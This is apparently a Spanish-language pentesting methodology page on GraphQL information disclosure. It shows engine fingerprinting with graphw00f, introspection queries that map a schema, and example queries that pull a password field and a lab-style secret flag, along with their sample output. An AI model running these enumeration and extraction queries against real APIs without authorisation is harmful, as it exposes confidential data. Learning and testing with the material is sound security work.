Skip to content

GraphQL — Information Disclosure

GraphQL es un lenguaje de consulta que suelen utilizar las APIs web como alternativa a REST. Permite al cliente obtener exactamente los datos que necesita mediante una sintaxis sencilla, ofreciendo funciones similares a las de un lenguaje de consulta tradicional (como SQL). Al igual que las APIs REST, las APIs GraphQL pueden leer, actualizar, crear o eliminar datos — pero a diferencia de REST (que expone múltiples endpoints), GraphQL suele implementarse en un único punto final que gestiona todas las consultas, lo que cambia significativamente el enfoque de enumeración: en vez de descubrir rutas, hay que descubrir la estructura (schema) que ese único endpoint acepta.

Sintaxis básica de consultas

graphql
{
  users {
    id
    username
    role
  }
}
json
{
  "data": {
    "users": [
      {
        "id": 1,
        "username": "jsmith",
        "role": "user"
      },
      {
        "id": 2,
        "username": "admin",
        "role": "admin"
      }
    ]
  }
}

Filtrar por argumento:

graphql
{
  users(username: "admin") {
    id
    username
    role
  }
}

Solicitar campos que la aplicación probablemente no pretendía exponer al cliente (un password disponible en el schema, aunque el frontend nunca lo solicite normalmente):

graphql
{
  users(username: "admin") {
    id
    username
    password
  }
}
  • Este es el patrón central de la mayoría de vulnerabilidades de GraphQL: el schema backend suele exponer más campos/relaciones de las que la interfaz de usuario "oficial" consulta — nada impide que un atacante arme su propia consulta pidiendo campos adicionales, si el control de acceso no se valida por campo individualmente.

Consultar relaciones anidadas (útil para revelar datos de un objeto relacionado, como el autor de un post):

graphql
{
  posts {
    title
    author {
      username
      role
    }
  }
}
json
{
  "data": {
    "posts": [
      {
        "title": "Hello World!",
        "author": {
          "username": "jsmith",
          "role": "user"
        }
      },
      {
        "title": "Test",
        "author": {
          "username": "test",
          "role": "user"
        }
      }
    ]
  }
}

Identificación del motor GraphQL

Antes de profundizar, identificar qué implementación de GraphQL corre en el backend (Graphene/Python, Apollo/Node.js, Hasura, etc.) ayuda a saber qué comportamientos/bugs específicos de esa implementación probar. La herramienta graphw00f automatiza este fingerprinting:

c
❯ python3 main.py -d -f -t http://172.16.75.10

                +-------------------+
                |     graphw00f     |
                +-------------------+
                  ***            ***
                **                  **
              **                      **
    +--------------+              +--------------+
    |    Node X    |              |    Node Y    |
    +--------------+              +--------------+
                  ***            ***
                     **        **
                       **    **
                    +------------+
                    |   Node Z   |
                    +------------+

                graphw00f - v1.1.17
          The fingerprinting tool for GraphQL
           Dolev Farhi <dolev@lethalbit.com>
  
[*] Checking http://172.16.75.10/
[*] Checking http://172.16.75.10/graphql
[!] Found GraphQL at http://172.16.75.10/graphql
[*] Attempting to fingerprint...
[*] Discovered GraphQL Engine: (Graphene)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md
[!] Technologies: Python
[!] Homepage: https://graphene-python.org
[*] Completed.
  • El enlace a "Attack Surface Matrix" que devuelve la herramienta es directamente útil: cada implementación de GraphQL tiene un conjunto documentado de comportamientos/vulnerabilidades conocidas específicas de esa librería.
  • Repositorio: https://github.com/dolevf/graphw00f

También vale la pena probar rutas comunes donde GraphQL suele exponerse, si graphw00f no lo encuentra automáticamente: /graphql, /graphql/console, /graphiql, /api/graphql, /v1/graphql, /query.

Introspección

La introspección es una función nativa de GraphQL que permite consultar la propia API sobre la estructura de su schema — en esencia, el schema puede "describirse a sí mismo" mediante el campo especial __schema. Cuando la introspección está habilitada en producción (una mala práctica común, ya que debería estar deshabilitada fuera de entornos de desarrollo), un atacante puede mapear completamente la API sin necesidad de documentación externa.

Listar todos los tipos del schema

graphql
{
  __schema {
    types {
      name
    }
  }
}
json
{
  "data": {
    "__schema": {
      "types": [
        { "name": "Query" },
        { "name": "Node" },
        { "name": "ID" },
        { "name": "SecretObject" },
        { "name": "String" },
        { "name": "UserObject" },
        { "name": "PostObjectConnection" },
        { "name": "PageInfo" },
        { "name": "Boolean" },
        { "name": "PostObjectEdge" },
        { "name": "PostObject" },
        { "name": "Int" },
        { "name": "Mutation" },
        { "name": "RegisterUser" },
        { "name": "RegisterUserInput" },
        { "name": "__Schema" },
        { "name": "__Type" },
        { "name": "__TypeKind" },
        { "name": "__Field" },
        { "name": "__InputValue" },
        { "name": "__EnumValue" },
        { "name": "__Directive" },
        { "name": "__DirectiveLocation" }
      ]
    }
  }
}
  • Nombres de tipo poco habituales o directamente descriptivos (SecretObject en este ejemplo) son señales inmediatas de dónde investigar primero.

Listar los campos de un tipo específico

graphql
{
  __type(name: "UserObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}
json
{
  "data": {
    "__type": {
      "name": "UserObject",
      "fields": [
        { "name": "uuid", "type": { "name": null, "kind": "NON_NULL" } },
        { "name": "id", "type": { "name": null, "kind": "NON_NULL" } },
        { "name": "username", "type": { "name": "String", "kind": "SCALAR" } },
        { "name": "password", "type": { "name": "String", "kind": "SCALAR" } },
        { "name": "role", "type": { "name": "String", "kind": "SCALAR" } },
        { "name": "msg", "type": { "name": "String", "kind": "SCALAR" } },
        { "name": "posts", "type": { "name": "PostObjectConnection", "kind": "OBJECT" } }
      ]
    }
  }
}
  • Confirma que el campo password existe y es accesible por el schema — el siguiente paso natural es intentar consultarlo directamente (ver graphql_idor.md).

Listar todas las queries disponibles

graphql
{
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}
  • Conocer todas las queries soportadas ayuda a identificar vectores de ataque adicionales para obtener información confidencial que no aparece en la interfaz "oficial" de la aplicación.

Consulta de introspección completa ("volcado total")

La siguiente query estándar (usada internamente por herramientas como GraphiQL) vuelca absolutamente toda la información de tipos, campos, argumentos y directivas soportadas por el backend en una sola petición:

graphql
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
            }
          }
        }
      }
    }
  }
}
  • El resultado es extenso y difícil de leer en texto plano. Para visualizarlo de forma navegable (diagrama interactivo de relaciones entre tipos), usar GraphQL-Voyager o su demo online.
  • Precaución en proyectos reales: pegar el resultado de la introspección de un objetivo real en la demo pública de Voyager envía esos datos a un servicio de terceros. En un engagement real, seguir las instrucciones del repositorio para alojar Voyager localmente y evitar que información potencialmente confidencial salga del entorno de la prueba.

Obtener argumentos aceptados por cada query

graphql
{
  __schema {
    queryType {
      fields {
        name
        args {
          name
          type {
            name
          }
        }
        type {
          name
          kind
        }
      }
    }
  }
}
json
{
  "data": {
    "__schema": {
      "queryType": {
        "fields": [
          { "name": "node", "args": [{ "name": "id", "type": { "name": null } }], "type": { "name": "Node", "kind": "INTERFACE" } },
          { "name": "secrets", "args": [], "type": { "name": null, "kind": "LIST" } },
          { "name": "users", "args": [], "type": { "name": null, "kind": "LIST" } },
          { "name": "posts", "args": [], "type": { "name": null, "kind": "LIST" } },
          { "name": "user", "args": [{ "name": "username", "type": { "name": null } }], "type": { "name": "UserObject", "kind": "OBJECT" } },
          { "name": "postByAuthor", "args": [{ "name": "author", "type": { "name": null } }], "type": { "name": null, "kind": "LIST" } },
          { "name": "post", "args": [{ "name": "id", "type": { "name": null } }], "type": { "name": "PostObject", "kind": "OBJECT" } }
        ]
      }
    }
  }
}
  • Esta consulta es clave: revela no solo qué queries existen, sino con qué parámetros se invocan (user(username: ...), post(id: ...)) — imprescindible para construir consultas de explotación dirigidas.

Enumeración alternativa: tipos con descripción

graphql
{
  __schema {
    types {
      name
      description
    }
  }
}
  • Útil cuando los desarrolladores documentaron los tipos con description — a veces revela directamente el propósito de un tipo sospechoso sin necesidad de inferirlo por el nombre.

Ejemplo de flujo completo: tras detectar un tipo llamado SecretObject en el listado general, enumerar sus campos específicos:

graphql
{
  __type(name: "SecretObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}

Y finalmente construir la consulta de explotación con los campos descubiertos:

graphql
{
  secrets {
    id
    secret
  }
}
json
{
  "data": {
    "secrets": [
      {
        "id": "U2VjcmV0T2JqZWN0OjE=",
        "secret": "FLAG{********}"
      }
    ]
  }
}
  • Nótese que id está codificado en Base64 (U2VjcmV0T2JqZWN0OjE= decodifica a SecretObject:1) — un patrón común en implementaciones que siguen la especificación Relay de GraphQL, donde los IDs globales se codifican combinando el nombre del tipo y su ID interno. Decodificar estos IDs a veces revela directamente la estructura interna (nombre de tabla + ID numérico) útil para IDOR (ver graphql_idor.md).

Notas de metodología

  • La introspección habilitada en producción no es, por sí sola, siempre una vulnerabilidad crítica reportable — pero es el habilitador que hace todo lo demás en esta colección (IDOR, inyección, DoS) mucho más rápido de encontrar, por lo que su presencia siempre vale la pena señalarla como hallazgo de "defensa en profundidad" incluso si no lleva a nada más grave por sí sola.
  • Si la introspección está deshabilitada, no descartar la API por completo: se puede intentar "adivinar" el schema enviando queries comunes basadas en el dominio de la aplicación (user, users, product, order), o usar herramientas de fuerza bruta de schema como clairvoyance (que reconstruye un schema aproximado incluso sin introspección, basándose en los mensajes de error de sugerencia de campos).